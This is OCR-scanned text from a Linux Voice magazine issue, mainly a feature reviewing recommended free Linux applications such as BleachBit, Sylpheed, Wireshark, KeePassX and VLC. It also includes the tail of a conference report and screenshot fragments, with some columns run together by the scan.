by Nicholas Tollervey (one of the 
speakers whose talk used a brass 
band) in an impromptu tuba duet of 
the Monty Python theme tune 
“Liberty Bell”. 
Conference chair John Pinner 
asked me to run the charity “Cheese 
Shop” (unlike the famous Monty 
Python sketch, this cheese shop 
was full of cheese donated by the 
delegates who were encouraged to 
supply cheese representative of 
their home regions). Wonderfully 
creamy Nottinghamshire Stilton, 
Oxford Blue, caramelised goat 


14 tweets receivec 


Delegates brought 
cheese, which was 
sold to other delegates 
and profits donated to 
the Mynton Children’s 
Hospice. 


cheese from Norway, Epoisse and 
Roquefort from France and various 
other regional cheese from the 
United Kingdom were sold in aid of 
the Myton Children’s Hospice. 

| hear planning has already 
started for next year's event. |'ll 
certainly be there. You should too! 


Write once, 


deploy everywhere. 
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BEST LINUX APPS 


Grab a shovel and join Mike Saunders on a dig for the best free software gems. 


ebian GNU/Linux’s software repositories 
D contain a whopping 48,564 packages for 

x86-64 machines. Just think about that for a 
moment: it's a staggering figure. Not every package is 
asingle application, sure, but the total number of 
programs available for Linux numbers in the tens of 
thousands. You have a giant wealth of software that's 
free to install, explore and modify — and all just a few 
apt-get, yum or pacman commands away. 

This is brilliant, but who has time to try all of these 
programs? How can you easily sort the wheat from 
the chaff when the range is so exhaustive? We at 
Linux Voice spend a lot of time rummaging around 
package repositories, source code mirrors, GitHub and 
other sites, finding sparkling new gems to cover in the 


magazine. We also get many recommendations from 
you, our readers. So this issue we decided to collect 
together the best applications in the FOSS world and 
share what makes them great! 

You may be familiar with a few of the big-name 
programs, so well look at what they have in the 
pipeline for upcoming releases. But for most of the 
next few pages we want to introduce you to software 
you've never come across before, or perhaps heard of 
in passing, but never actually tried. We've all had the 
experience of discovering an awesome new program 
that we come to use on a daily basis, and wonder how 
we managed without it beforehand. So by the end of 
this article, you'll be ready to spruce up your Linux box 
up with a bunch of new FOSS goodies. Let's go... 


Ever fancied 
helping out with an open 
source project, but don't 
have the sufficient 
hacking nous to edit the 
source code? If you can 
speak more than one 
language, you can almost 
certainly help the 
program by providing 
interface translations. 
Poedit is a friendly 
graphical app that helps 
you to create translations 
for software that uses 
the Gettext framework. 
www.poedit.net 


ea JED 
“There's more to 
console text editors than 
Emacs vs Vim, despite 
the endless flamewars 
on the web. Jed offers a 
glut of power-user 
features, especially for 
coders, including code 
folding and extensibility 
via scripts. But! These 
features aren't hidden 
behind various cryptic 
key combos — everything 
is provided via DOS 
EDIT-style drop-down 
menus. 
www.jedsoft.org/jed 


a, ) BLEACHBIT 
—™ Deleting a program doesn't 
necessarily remove all traces of it from 
your hard drive. Many programs can 
leave behind logs, temporary files, 
cached files, and other bits 'n’ bobs that 
you'd rather get rid of. Sometimes you 
can find these by poking around inside 
/tmp and your home directory, but it can 
be alot of hassle to do a thorough job. 
BleachBit aims to free up disk space 
and maintain your privacy by getting 
rid of this unwanted junk. It cleans up 
after a wide range of programs, both 
open source and proprietary, and in its 
Windows incarnation it can purge the 
junk from a whopping 1,200 apps. For 
many programs it simply erases history 
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(eg previously opened files or viewed 
URLs) or cached data — for others it 
does more complicated work. 

For instance, in Firefox, Chrome 
and other apps, BleachBit can shrink 
configuration files without removing 
vital data, to improve performance 
and save disk space. On many Linux 
distributions It can remove language 
packs for languages that you don't 
use, and fix broken symbolic links. It's 
a fantastic toolbox for keeping your 
system clean, tidy and secure — and 
definitely one to recommend to those of 
your friends and colleagues who are still 
battling with Windows. 
http://bleachbit.sourceforge.net 


oo MUPEN64PLUS ARIA2 

~ Fancy some “=” The mother of all 
Goldeneye 007 or download tools, Aria2 
Mario 64 fun? Of course supports: HTTP(S), FTP 


you do! Emulation of the 
Nintendo 64 console is a 
mixed bag on Linux, but 
Mupen64Plus is the best 
solution we've found. It 
has arange of plugins for 
CPU and video 
emulation, so you can 
pick and choose the best 


BitTorrent and Metalink; 
downloads from multiple 
sources for maximum 
speed; and remote 
control operation via 
JSON-RPC and XML- 
RPC. You can use proxy 
servers, set bandwidth 
limits, and create custom 


| 
: We all rave about the benefits of 
open source, but open data is becoming 
equally important. Take OpenStreetMap for 
instance: it's rather like Wikipedia in that 
the data is generated by users rather than 
companies. This data is freely licensed in a 
similar fashion, so anyone can use, modify 
and share it. If you like the goals behind 
OpenStreetMap but the data for your area 
is incomplete or incorrect, what can you 
do? Well, JOSM is a graphical editor for the 
OpenStreetMap data, and it’s written in Java 
so it runs pretty much everywhere. 

JOSM isn't designed to be the most 
newbie-friendly tool in the world, so you're 
expected to work your way through a few 


SYLPHEED 

iS Mail clients are ten a penny in 
the free software world, but few are as 
slick as Sylpheed. It's written in C with a 
GTK front-end, and aims to provide 
most of the functionality that end users 
expect, without chomping through your 
RAM banks. The three-pane interface 
(folder list, message list and message 
contents) is familiar and clean, while 
plenty of keybindings obviate the need 
to keep faffing around with the mouse. 
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tutorials before you really get stuck in/to 
editing map data. 

https://wiki.openstreetmap.org/wiki/, 
JOSM/Guide is a great place to get started, 
with step-by-step guides showing how to do 
basic editing jobs and upload your changes, 
while http://learnosm.org/en/beginner/start- 
josm lets you play around with a sample 
map. Don't worry if you make a mistake with 
a real map and upload the data — it’s not 
hard for administrators to roll back to the 
previous version. 

OpenStreetMap embodies the principles 
of collaboration and sharing that we love in 
Linux, FOSS and the GPL, so give it a go. 
http://josm.openstreetmap.de 


Sylpheed supports POP3, IMAP4 
and SMTP out of the box, and can be 
extended with junk mail filtering and 
GnuPG signing functionality. We've used 
Sylpheed on and off over the years, 
and found it to be a solid app, anda 
lightning fast performer when it comes 
to searching through large mailboxes. If 
you're tired of the bloat and fiddliness of 
your current mail client, give it a try, 
http://sylpheed.sraoss.jp/en 
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that work for you. HTTP headers. Basically, 

http://tinyurl.com/ it does it all. 

dyzktf7 http://aria2.sf.net 
EASYSTROKE 


_ 
o Gesture recognition tends to get the most 
attention on tablet and mobile devices, but it can be 
very handy on the desktop as well. With Easystroke, 
you can create custom gestures and assign them to 
X11 keybindings or shell commands. 

So, you could right-click and swipe rightwards 
anywhere on your desktop to open a new terminal 
window, or add specific gestures to your favourite 
applications (eg swipe upwards to go to the start of a 
document). It's also possible to add modifier keys to 
gestures, so that they don't interfere with your apps. 
http://github.com/thjaeger/easystroke 


'}@— co mike@linuxvoice.com - Sylpheed 3.4.0betaS. 
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From: stacey <stacey@linuxvoice.com> To: Graham Morrison <graham@linuxvoice.com>, Andrew 
Subject: Merchandise 


From: stacey <stacey@linuxvoice.com> 

To: Graham Morrison <graham@linuxvoice.com>, Andrew <andrew@linuxvoice.com>, Mike 
‘Saunders <mike@linuxvoice.com>, ben <ben@linuxvoice.com> 

‘Subject: Merchandise 

Date: Sun, 21 Sep 2014 13:19:36 +0100 

User-Agent: Roundcube Webmail/0.9.5 


Morning! 
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Back 


mikeos 


About Images Videos 


MikeOS - simple x86 assembly language operating system 


x86 operating system. MIkeOS is an operating system for x86 PCs, written in assembly language. It is a 
learning tool to show how simple 16-bit, real-mode OSes work, with well-commented code and extensive 


documentation. 


mikeos.sourceforge.net 


MikeOS - Welcome to Freecode - Freecode 


MikeOS is an operating system for x86 PCs, written in assembly language. It is a learning tool to show how 
simple OSes work, with well-commented code and extensive documentation. 


WW) freecode.com/projects/mikeos 


MikeOS 


MikeOS Is a 16-bit real mode operating system for x86 PCs created by 
Mike Saunders. The operating system is written in assembly language 
and to teach people about programming in and for hobby... 


¥) Show More 


|i mikeos_| 


W More at Wikipedia 


More from freecode.com 


Midori's default search engine is DuckDuckGo, which doesn’t track you. 


MIDORI 


@ 


including the kitchen sink. 


Midori could be regarded as the 
new Firefox: it's deliberately designed 
to be speedy and conservative with 
RAM, while still offering core features 
that users expect. For instance, it 


BIRDFONT 

= Wemust admit: 
despite being Uibergeeks, 
until a few months ago 
we had never ventured 
into the scary territory of 
font creation. It looked 
like black magic. Then 
we discovered BirdFont, a 
friendly graphical editor 
that not only makes the 
job simpler than 
expected, but fun as well 
(especially when you're 
tracing another font). It's 
essentially a vector 
graphics editor with 
some extra bits — see 
LV004 for a tutorial. 
www.birdfont.org 
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Remember when Firefox split off 
from the Mozilla project, with the goal of 
being a fast and lightweight browser? 
It's still a good performer today, but 
many have questioned its purpose now 
that it seemingly rolls in everything 


supports tabbed browsing, session 
management, extensions, a “speed 
dial” view, smart bookmarks and much 
more. Midori uses WebKit as its HTML 
rendering engine, so it's well equipped 
to handle the latest HTML5 and CSS. 
You might have come across Midori 
before, as it's the default browser in 
Raspbian and Elementary OS; we'd 
also like to see it adopted in other 
mainstream distros. 
www.midori-browser.org 


DOSBOX 

Fancy playing some old DOS classics? Shudder 
at the thought of fiddling with CONFIG.SYS and 
AUTOEXEC.BAT for hours? DOSBox makes it easy: it's 
a DOS session in a box (ie window) on your desktop. 

Compatibility is excellent, and most programs run 

without any big hassles. We use it a lot to relive the 
glory days of Microprose F1GP and Frontier. 
www.dosbox.com 


Camp Jameson 
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WIRESHARK 

Formerly known 
as Ethereal, Wireshark is 
arguably the best packet 
analyser available on any 
platform. It lets you 
inspect the contents of 
network packets as they 
flow through your 
network, whether it’s for 
troubleshooting or you're 
just Curious to see how a 
certain program is 
communicating with the 
outside world. It can be a 
complex tool though — 
there's even a 408-page 
book available explaining 
how to use it! 
www.wireshark.org 
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>) KDEVELOP 
“Many people think 
that KDevelop is only 
useful if you're writing 
KDE apps in C++, but this 
integrated development 
environment is a lot more 
capable than that. It 
supports many other 
languages including 
Python, PHP, Ruby and 
JavaScript, along with 
various document 
markup formats. 
KDevelop 4.7 has just 
been released — it's the 
last of the 4.x line, so it 
will have longer support 
than regular versions. 
www.kdevelop.org 


* view=new QWebView(parent); 


tContextMenuPolicy (Qt: :ActionsContextMenu) 
const QString& name, m_info.keys()) { 
(true); 


->setChecked (nane=a_ current, key ()); 
-paddAction£-. 


\ge()->setNetworkAccessManager (new HelpNetworkAccessManager(s_prov 
1ge ()->setLinkDelegationPolicy (QWebPage: :DelegateAl Links) ; 


lpAlternativeLink* act=new QtHelpAlternativeLink (name, this, vie 


virtual QString descript| 
virtual QWidget* documen; 


virtual KDevelop : :100cun| 

QNap<QString, QUrl> info| 

static QtHelpPlugin* s_p| 
private slots: 

void jumpedTo(const QUrl| 


nedunton 


void setCheckable( boo!) 


ee gaction.h :164 Show uses 
| 


command action; a 
property is false, 


lirName); 


ring filewai Access functions: 


f 

oebug0) bool isCheckable 0) const 

if (n_enging void setCheckable (bool ) 
Rdebug See also QAction::setCheckedi). 


<< "no QtHelp found at all"; 


:connect (v; Container: QAction Access: public Kind: Function 


ids whether the action is a checkable action. 
- A checkable action is one which has an on/off state, For example, in a word processor, a — 
lhelpplugin.c 8010 toolbar button may be either on or off. An action which is not a toggle action is a 
command action is simply executed, eg. file save. By default, this 

isEmpty ()) | /n some situations, the state of one toggle action should depend on the state of others. 

For example, “Left Align’, "Center" and “Right Align" toggle actions are mutually 
const gstri excisve. To achieve exclusive fogging, add the relevant toggle actions to 8 
fing filetlar QActionGroup with the @ActionGroup::exclusive property se! 


ise 
Faas kDebug Show documentation for QAction::setCheckable 


<< "registered" << mengine.error() << m_engine.registeredDocumentations(); 


a 


prangs ur 
Btring, QUrl| 


a 
v 


KDevelop is best known as a C++ and Qt IDE, but it’s 
usable with other languages too. 


TOX 


While the Snowden 
revelations have made 
many of us consider 
alternative email services, 
instant messaging (IM) 
systems are also being 
spied on by the powers that 
be. Tox is a “new kind” of 
IM network designed with 
privacy as its number one 
priority. It aims to offer 
text-based messaging, 
audio calls and video 
conferencing, all neatly 
encrypted away from 
prying eyes. 

If you go to the Tox 
website, though, you'll 
Notice that there's not a 
single “Tox” program to 
download. What's going 
on? Well, the system 


is implemented as a 
library, and then end-user 
programs are built on 
top of that. So for Linux 
you'll see that there are 
qTox and Toxic programs 
(GUI and command line 
respectively). Clients for 
Android are alsovavailable. 
Tox is still’a baby, having 
only come to life 18 months 
ago on notorious lulz-fest 
site 4chan, so its security 
has yet to be proven over 
any serious length of time. 
But its goals are admirable, 
the separation of the app 
into a library and front-ends 
should ease development, 
and it could grow into 
something very big. 
https://tox.im 


I3WM 


Traditional 
desktops and window 
managers don't always 
make the best use of 
screen space, especially 
when you have a huge 
monitor. /3 is a tiling 
window manager that 
automaticallysivides up 
your screen Space into 
sections,(tiles), so you 
can see manyiapps at 
the same time. Plenty of 
keybindings are included 
so you don't have to 
poke the mouse all the 
time, and it's a favourite 
among coders and 
terminal dwellers. 
www.i3wm.org 


MINETEST 
Now that 
Minecraft is owned 
by Microsoft, many fans 
are left wondering 
whether the game (or 
shall we say, giant 
sandboxed environment) 
will continue to work on 
Linux. What if Microsoft 
releases Minecraft 2 just 
for Windows and/or the 
Xbox? Fortunately, we 
have an open source 
clone that's still in 
mid-development, but 
looking promising. 
Minetest already 
includes multiplayer 
support and a modding 
engine, with more 
goodies to come. 

www. minetest.net 


STELLARIUM 


=  Stellarium is one of those 
programs with a version number that 
doesn't reflect just how awesome and 
rich it actually is. Check it out: this 
desktop planetarium includes over 
600,000 stars (with 120 million more 
available in add-on packs), all the 
planets of our solar system (rendered in 
beautiful detail), and constellations 
galore. It has won awards, it's being 
used in commercial products, and 
hardcore astronomers love it too. 

So what's it's version number? 0.13. 
That's right: if you just came across 
this program ina list (eg in your 
package manager), you'd be forgiven 
for dismissing it as yet another barely- 
alpha piece of throwawayware cooked 
up by a couple of kids on a weekend 


HTOP 
® You're probably 

already familiar 
with the top process 
viewer (or if not, open a 
terminal window, enter 
top, and see what 
happens). It's a very 
standard Linux/Unix tool, 
but it's not the prettiest 
thing around and is 
missing plenty of extra 
features. Htop provides 
everything in regular top, 
but with colour, bar 
charts for memory 
usage, process trees, a 
user-friendy interactive 
mode, and more. It's an 
essential weapon in any 
system administrator's 
armoury, we reckon. 
http://hisham.hm/htop/ 


Explore giant worlds and build colossal constructions in 
the Minecraft playalike, Minetest. 


and thrown onto SourceForge. But no 
— we think it already deserves a 10.0 
label, and it's one of our favourite non- 
Frontier space-based programs. (You 
might notice a pattern here...) 
www-stellarium.org 


Track celestial bodies as they move across 
the night sky in Stel/arium. 


@- co mike@mike-megabox: ~ 

1 Cll 2.7%] Tasks: 121, 4 
2 Cl 0.7%] Load average; 
+ in | 0.7%] Uptime: 00:07 
4 I 0.7%] 

memET IIHT IIT 926/7893MB] 

swpL 0/8098MB] 

1989 mike © 1535M 84184 31772 S 2.0 1.0 0:18.37 com 
2398 mike ®@ 913M 210M 46008 S 2.0 2.7 0:34.10 /us 
4216 mike 20 © GO7M 14588 10984 S 1.3 0.2 0:00.31 xfc 
4209 mike 20 © 36232 2288 1448 R 1.3 0.0 0:00.27 htoq 
2413 mike 20 ®@ 913M 210M 46008 S 0.7 2.7 0:02.53 /uSF 
2600 mike 20 © 621M 20316 12148 S 0.7 06.3 0:62.18 gnor 
2991 mike 20 © 637M 21748 10140 S 0.7 0.3 0:00.01 /us 
1912 mike 20 © 710M 18264 11376 S 0.0 0.2 0:00.08 /usf 
1624 mike 20 ®@ 350M 11068 5172 S 0.0 0.1 0:00.64 /usH 
1588 mike 20 © 344M 4104 2864S 0.0 0.1 0:01.66 /usr 
2001 mike 20 © 1535M 84184 31772 S 0.0 1.0 0:00.63 comp 
1593 mike 20 ®@ 527M 11952 7532S 0.0 0.1 0:00.38 /usF 
2009 mike 20 © 191M 3188 2656S 0.0 0.0 0:00.59 /usf 
1599 mike 20 © 344M 4104 2864S 0.0 0.1 0:01.03 /usF 
2422 mike 20 © 236M 13548 7368S 0.0 0.2 0:00.24 /usf 
1562 mike 20 © 72144 4464 3868 S 0.0 0.1 0:00.17 /usf 
1645 mike 20 © 350M 11068 5172 S 0.0 0.1 0:00.20 /usfF 
1707 mike 20 © 551M 10976 7512S 0.0 0.1 0:00.11 /usf 
2416 mike 20 @ 332M 4900 3672 S 0.0 0.1 0:00.12 /usH 
2103 mike 20 © 293M 11876 8968 S 0.0 0.1 0:00.77 /usf 
2006 mike 20 © 1126M 30268 22488 S 0.0 6.4 0:00.77 nau 
858 root 20 © 256M 6208 4656S 0.0 90.1 0:00.50 net 


CHECKINSTALL 

® You know when you're compiling a program 
from source code, and you perform the make install 
step? This copies the files into your Linux installation 
(for example into /usr/local) but it can be tricky to 
keep track of them, especially when you want to 
remove a program. Some programs include a make 
uninstall option in the Makefile, but not necessarily 
every one. And if you remove the source code 
directory, you're stuck. 

Checkinstall is a godsend here. Essentially, it keeps 
tabs on the files that are placed into the system during 
a make install operation, generating an RPM or Deb 
package for the files (and adding the information to 
the package database). So if you've installed FooApp 
from source via Checkinstall and want to remove it, 
you don’t need to poke around in /usr/local and find 
all its files — just use your package manager. 
http://asic-linux.com.mx/~izto/checkinstall 
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REDSHIFT 


® Here's a clever 
one: Redshift adjusts the 
colour temperature of 
your screen depending 
on the time of day. The 
idea is to make your 
screen easier on your 
eyes, especially in the 
evening when you don't 
have sources of natural 
light around. 

Linux Voice Editor 
Graham uses this all the 
time, and says that it has 
really helped to reduce 
eye strain during epic Qt 
coding sessions... 
http://jonls.dk/redshift 


QALCULATE 

== We discovered 
Qalculate over two years 
ago: it's an immensely 
powerful desktop 
calculator with custom 
functions, a huge range 
of units to convert 
between, arbitrary 
precision and much 
more. It even has both Qt 
and GTK interfaces. Just 
don't be put off by the 
program's My Little 
Pony-esque website! 
http://qalculate.sf.net 


VLC 


We don't want to 
start a flame war here, 
as we know there are 
many other excellent 
media players for 
Linux, but VLC is still 
our fayolirite. Over the 
years it has never let us 
down, playing/absolutely 
everything we throw at it, 
regardless of the video 
encoding omeontainer 
format tt’s also very 
good at converting 
media from one format 
to another, providing a 
straightforward GUI (so 
you don’t have to learn a 
giant stack of command 
line options). Plus, it 
runs on pretty much 
every major OS. 
www. videolan.org 


21 


V 54 BEST LINUX APPS 


Q@ COREBIRD 

Many people use 
Twitter via its web-based 
interface, which does an 
acceptable job, but a 
native desktop app like 
Corebird is much better. 
It's faster, can be used 
entirely with the 
keyboard, and looks 
great on a GTK-based 
desktop such as Xfce or 
Gnome. Thanks to 
GStreamer integration, 
Corebird can even play 
linked media directly 
inside the app, without 
needing to pop up 
another program. Not all 
distro repositories have it 
packaged up though... 
http://corebird. 
baedert.org 


PITIVI 

= Some would 
argue that OpenShot is 
the best video editor for 
Linux, but Pitivihas seen 
a surge in development 
activity recently, thanks 
largely to a fundraising 
campaign that aims to 
speed up progress 
towards version 1.0. The 
development team has 
concocted a hugely 
detailed plan (http:// 
fundraiser. pitivi.org/ 
the-plan) and has raised 
over €19,000 from users 
and supporters. After the 
1.0 release, if more 
money comes in, a stack 
of new features will be 
implemented. 
www.pitivi.org 


Check out inline markdown support: 


1, This is a numbered list 
2. Great, isn't it? 


* This is a bulleted list 
* And so on. 


## [This. 


© FocusMode [Fullscreen 


# UberWriter is a simple markdown application. 


Here we will create a **bold** and a *italic* word. 


And then there is a second level heading: 


Lines: 15 Characters: 276} 


Markdown formatting only takes a few minutes to learn, 
and works entirely with plain text. 


CLEMENTINE 


First 
appearances count, and 
Clementine is one of the 
most polished pieces 
of FOSS we know, It’s 
a music player inspired 
by the interface of an 
older Amarok release, 
with heaps of features 
piled on top. It can play 
internet radio stations 
and music stored on 
cloud services (eg 
Dropbox and Google 
Drive). It can fetch lyrics, 
album art and other data 
from the web (and tag 
files accordingly). And it 
can even transcode into 
other formats. It's ace. 
clementine-player.org 
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KEEPASSX 


Passwords are a problem. Even 
if you come up with the ultimate, long, 
hard-to-guess password, it’s a bad idea 
to use the same one across multiple 
sites and services. And then, every so 
often there's a major break-in on some 


[W Gustav Mahler - Wikipedia, the free ency... | 

Gustav Mahler (German pronunciation: Figustaf 'ma:le]; 
7 July 1860 - 18 May 1911) was a late 

Bustriah composer and one of the leading conductors 
of his generation. As a composer, he acted as a 
bridge between the 19th century Austro-German 
tradition and the of the early 20th 
century, While in his lifetime his status as a conductor 
was established beyond question, his own music 
gained wide popularity only after periods of relative 
neglect which included a ban on its performance in 
much of Europe during the Bazi éra. After 1945 the 
music was discovered and championed by a new 
generation of listeners; Mahler then became one of 
the most frequently performed and recorded of all 
composers, a position he has sustained into the 21st 
century, 


Gustav Mahler, photographed in 
1907 at the end of his period as 
director of the Vienna Hofoper 


Born in humble circumstances, Mahler showed his 
musical gifts at an early age. After graduating from 
the Hibnna Conservatory in 1878, he held a 
succession of conducting posts of rising importance in the opera houses of Eu 
culminating in his appointment in 1897 as director of the (Hof 
During his ten years in Vienna, Mahler—who had converted to Catholicism from Judaig 
secure the post—experienced regular opposition and hostility from the anti-Semitic 9 
Nevertheless, his innovative productions and insistence on the highest perform 
standards ensured his reputation as one of the greatest of opera conductors, particula| 
an interpreter of the stage works of EEsgnér and EEbzait. Late in his life he was briefly dir 
of New York's EEStrapalitanlOpera and the EESW/Verk Philharmonic. 


UBERWRITER 

“A beautiful, distraction-free word processor 
and editor” — that's what UberWriter claims to be. And 
it's right: the interface is as minimal as you get, and 
there are no options for formatting, adding 3D text, or 
anything else like that. By and large, it just looks like an 
extremely simple text editor, or even a sample app 
from a programming tutorial. 

What makes UberWriter special is its use of 
Markdown. This is a plain text syntax that's designed 
to be easy to write (as well as read), So can create 
bold text, headers and lists without forcing you to 
learn weird tags or commands. Markdown only takes 
a few minutes to learn and once you've grasped it, 
UberWriter lets you use it to full effect. The program 
calls upon the Pandoc converter to generate other 
formats from your Markdown text, such as HTML, 
OpenDocument, Latex, ePub, Word .docx and even 
manual pages. 
http://uberwriter.wolfvollprecht.de 


All of your login details are then 
stored in a single AES or Twofish- 
encrypted file, with a master password 
providing access. It's an essential tool if 
you're suffering password fatigue. 
www.keepassx.org 


website or other, and we're all 


encouraged to make new passwords. 


KeePassx is a graphical password 
manager that aims to simplify the 
situation, by keeping track of all your 
login details in one place. Along with 
usernames and passwords, you can 
also attach comments to the data, 
and set an expiry date (so that you're 
forced to create a new password after 
acertain period of time). It's even 


possible to attach standalone files to an 


entry in the database. 


Comments | 


Bemait leon: (8) 


Main email 


Username: | mike 


URL blahsomeserverorg 


Password: 
Repeat: 
Quality: 

I 


Comment: 


01/01/2000 00:00 


=O) +| @ Never 
ea a 


Expires: 
‘Attachment: 


{Toots} 


{_ cancel 


Having trouble memorising a zillion 
different passwords? This will help. 
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@ PENTADACTYL 
We often mention 
the importance of 
learning a good text 
editor, and Vimis a 
classic example. With 
Pentadactyl, you can use 
Vir-like keybindings to 
browse the web, so you 
don't have to take your 
hands off the keyboard. 
It's a Firefox extension 
that many Vim users 
simply can't live without 
— try itif you're sick of 
shoving around that 
damn rodent! 
http://5digits.org/ 
pentadactyl 


FIREFOX 


Everyone knows 


about Firefox, but what's 
to come in the next few 
releases? Soon we'll 

see support for the 
<picture> tag, which 

lets developers provide 
multiple image sources 
(eg for HiDPI displays). 
CSS3 font variants 

and features — such 

as kerning — are also 

on the way, along with 
JavaScript template 
strings. Firefox releases 
come thickand fast»= we 
won't have to Waitlong. 
www. mozilla.org/firefox 


ABIWORD 


= Werenotones to 
tell part-time developers 
what to do, but AbiWord 
team: please, please 
update your website! 
AbiWord is an excellent, 
fast and lightweight word 
processor, and version 
3.0 was released with 
zero fanfare a year ago. 
But the website still says 
that 2.8 is the latest 
version — so the dev 
team should highlight 
that the program hasn't 
faded into obscurity, and 
it's still doing well... 
www.abisource.com 


PIDGIN 

This isn'ta You may have 
full-blown music player, come across Pidgin 
instead, it's a small before (it's included as 
internet radio streamer standard in many 
hat lives in the distros), but if not: it's the 
notification area (system — mother of all instan 
ray) of your desktop. It messaging programs. It 
uses GStreamer libraries suports an astonishing 
0 Support various media —_ range of chat protocols, 
formats, and can work including all the major 
with a variety of playlists ones (eg Google Talk, 
PLS, M3U, ASX, WAX Yahoo etc) along with 


and WV). It's ideal if you. — many you've probably 
ike listening to net radio, never heard of. You can 
and want stations just a even use It as an IRC 
couple of clicks away. client. 
http://radiotray.sf.net www.pidgin.im 


Document viewers are hardly the most exciting 


things in the world of software, but Zathura is one of 
our favourite discoveries in recent years. Thanks to a 
plugin system, it's capable of displaying various 
formats including PDF, PostScript, DjVu and even The Open Racing Car Simulatoris you busy for weeks. One of its cooles 
comic books (CBR files). far more than just a game: it's a features is the TORCS Racing Board, 
ts interface is rather minimal, with just a status complete framework for learning about + — where you compete against othe 
ar along the bottom, because it's designed to be motor vehicles, physics and artificial drivers. But! You don't compete directly; 
operated primarily with the keyboard. So it has a intelligence. Indeed, TORCS has been instead, you hack some code to create 
slightly steeper learning curve than graphical apps, used in many scientific research a robot that drives by itself. It might 
but it's a joy to use. Plus, it supports bookmarking projects over the years — but inthe end, — seem ridiculously hard at first, but there 
of pages, and automatically reloading when a we still play it because it's fun. are plenty of tutorials to get you started, 
document changes (which is especially useful if you're With a huge range of tracks, and it adds a whole other dimension to 
generating PDFs yourself). opponents and customisation options, the gameplay. 
http://pwmt.org/projects/zathura this racing game has plenty to keep http://torcs.sf.net 
| @- 2. /home/mike/Linux-Voice-Sample.pdf a LIBREOFFICE 
f you've ever tried We won't see the 
Welcome to Linux Voice o learn a foreign next major release of this 
75,000 of words of awesome each and every month. anguage, or been ina suite (4.4) until late 
, similar position where January next year, but 
+ ™ you've needed to already new features are 
a x me memorise lots of things, starting to be 
i iE you'll probably havetried implemented. Writer will 
a using flashcards. They gain support for master 
can help enormously, but = document templates 
hey're often a pain to useful if you regularly 
SUBSCRIBE organise by hand. Ankiis work on large projects), 
£38 a desktop flashcard app while shapes in the word 
hat features the spaced processor can have text 
a epetition method — in boxes inside. Context 
Wirt s been hot: ks Lior Vanes other words, newer (and — menus have also been 
herefore less familiar) edesigned so that the 
cards are shown more most common 
often than the older ones, — operations (cut, copy and 
so you focus on new paste) now appear at the 
material but still get op of the list. This is just 
reminders of things you he start — many other 
learned a while ago. features are still to come. 
Zathura's interface doesn't have lots of bells and whistles — it focuses on content. www.ankisrs.net www libreoffice.org 
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HANDBRAKE 

A few pages 
ago we mentioned that 
the VLC media player 
is great for converting 
video between different 
formats, but HandBrake 
is even better at this 
task. You can customise 
the output/settings to a 
tremendously detailed 
level; or if you don't 
have time to fiddle with 
everything manually, 
you Gan choose presets 
for various devices (eg 
Android smartphones) 
as well. It's a superb app 
for ripping your DVDs to 
digital copies too. 
https://handbrake.fr 


ays LLVM/CLANG 
“GCC has been the 
dominant compiler in 
FOSS operating systems 
for decades, but times 
are changing, and there's 
a (relatively) new kid on 
the block in the form of 
LLVM/Clang. This is a C/ 
C++/Objective C 
compiler toolset with a 
much more permissive 
BSD licence. 

Some would argue 
that GCC, because of the 
GPL, Is still the way to go, 
but at least LLVM/Clang 
is providing competition 
and new features. GCC 
still has the edge in many 
benchmarks though. 
http://clang.llvm.org 


GNUCASH 


» SCRIBUS 


== Without question, Scribus is the 
leading desktop publishing tool for 
Linux and other free software OSes. 
This Qt-based app is impressively 
featureful, with import filters for a wide 
range of image formats (PostScript, 


At Linux Voice we have a long-term 
goal of making the entire magazine 
in Scribus; it's a complex job, but the 
tweaks and new features in 1.5 should 
make it easier to switch eventually. 
www.scribus.net 


SVG, Adobe Illustrator etc) and the 


ability to export to industry standard 
PDF/*X files. Scribus 1.4 was four years 
in the making — but we're especially 
excited about the upcoming 1.5 release. 
This will bring about a shedload of 
improvements including ePub export, 
a tabbed document view, interface 
improvements (including a redesigned 
Preferences dialog), and new import 
filters (CVG, WPG, PGF, MS Visio and 
more.) A new plugin for scripting 


facilities has been rolled in too. 


7 fered 

é ith nearly 20 
years of development 
history behind it, Freeciv 
is one of the best games 
bar none, let alone in the 
FOSS world. It's a single 
and multi-player 
turn-based strategy 
game, heavily inspired by 
Sid Meier's classic 
Civilization. You guide a 
tribe of people from 
4,000BC through newer 
eras, constructing cities 
as technologies emerge, 
and fighting battles (or 
forging friendships) with 
other groups. It's big, 
deep and keeps you 
hooked for days. 
www. freeciv.org 


== Designed for both home users and small 
businesses, GnuCash is the best all round free 
software financial accounting app, in our experience. 
It has been in development for over 15 years — and is 
still seeing regular updates today. 

GnuCash supports double-entry bookkeeping, 
scheduled transactions, stock/bond/mutual fund 
accounts, custom reports and graphs, and various 
small business features (eg customer and vendor 
tracking, invoicing and so forth). GnuCash stores 
its data in XML format, although experimental SQL 
options are also available. The program can import 
data in QIF (Quicken) and OFX formats too. 


www.gnucash.org 
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SYSTEMD 

* Yes, we know that a lot of people don't like 
systemd. There are still things about it that make us 
furrow our brows too — the binary logging format, the 
“everything including the kitchen sink’ approach, and 
other aspects of the design. But systemd is becoming 
the de facto standard initialisation and base system 
for almost every major Linux distribution, So we 
should consider some of its plus points too. 

First, it helps to remove some niggling (and 
arguably pointless) differences between distros. 
You can still log to text via sysiog, but also perform 
complex searches (eg “show warnings from program 
Foo in the last X boots”) without having to construct 
a load of grep commands. It's easier to restrict a 
daemon's capabilities, and boot times are often faster 
as well. It's not perfect and arguably overcomplex, but 
it does a lot of things that people really want. 
www.freedesktop.org/wiki/Software/systemd 
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@ DELUGE 
\ Deluge is up there 


with Transmission in the 
front row of BitTorrent 
clients. The program is 
modular, So you can use 
it via GTK, CLI or 
web-based interfaces, 
and it's loaded with 
features including global 
and per-torrent speed 
limits, protocol 
encryption, and Torrent 
peer exchange support. 
But that’s just the start: 
over 40 third-party 
plugins are available to 
extend the app as well. 
www.deluge-torrent.org 
@ SEAMONKEY 

If you don't like the 
direction Firefox has 
taken in recent releases, 
or you prefer a more 
traditional internet suite 
with the browser, mail 
and chat all rolled into 
one app, try SeaMonkey. 
I's from the good people 
at Mozilla, but is more 
conservative than Firefox 
in its GUI and pace of 
development. 
www.seamonkey- 
project.org 


MUTT 
Guess what: 


Mutt sucks. Even the 
developer admits it. But 
Mutt “sucks less” than 
other email clients, and 
we'd have to agree. Like 
many other text-based 
programs, ithas a fairly 
steep learning curve, but 
the end/results are great. 
Mutt is.entirely 
keyboard driven and 
supports POP3, IMAP, 
message threading, 
searching with regular 
expressions, various 
mailbox formats, 
and much more. 
